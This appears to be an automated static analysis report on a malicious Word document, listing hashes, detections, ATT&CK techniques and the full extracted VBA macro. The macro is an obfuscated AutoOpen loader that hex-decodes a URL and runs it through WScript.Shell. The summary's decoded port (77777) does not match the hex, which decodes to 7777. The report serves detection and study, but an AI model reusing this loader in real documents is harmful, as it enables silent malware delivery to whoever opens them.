Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 47e8c7ffc5a1d6e8…

MALICIOUS

Office (OLE)

28.5 KB Created: 2018-11-06 17:21:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 66ffebac84bb9e9d678fe7152067e1f2 SHA-1: d8154e7f66228f2ae7533d08dd1b07614f8de97c SHA-256: 47e8c7ffc5a1d6e893153ccf9618977dde291702e72989b44faf649ad48bd10b
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains an AutoOpen VBA macro that is obfuscated and uses CreateObject to execute a script. The script decodes a URL, 'http://192.168.0.5:77777', and uses WScript.Shell to run it, likely to download and execute a second-stage payload. This is a common technique for malware delivery.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-6923224-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6923224-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 896 bytes
SHA-256: b885f85ff661e33de5827ec862c113c543c4fd17fbcd0bf0e902722250be9b59
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const meyzxyjzuv = 2
Const ontfhsopqh = 1
Const vpqbvabnny = 0
Sub AutoOpen()
dtmxitzgixu uvzbfnrvadrz("687474703a2f2f3139322e3136382e302e353a373737") & uvzbfnrvadrz("37")
End Sub
Sub dtmxitzgixu(szxqpqybfqajacdvq As String)
CreateObject(uvzbfnrvadrz("57536372") & uvzbfnrvadrz("6970742e5368656c6c")).Run szxqpqybfqajacdvq, 0
End Sub
Private Function uvzbfnrvadrz(ByVal uliczksfclce As String) As String
Dim edxzignpomuw As Long
For edxzignpomuw = 1 To Len(uliczksfclce) Step 2
uvzbfnrvadrz = uvzbfnrvadrz & Chr$(Val("&H" & Mid$(uliczksfclce, edxzignpomuw, 2)))
Next edxzignpomuw
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.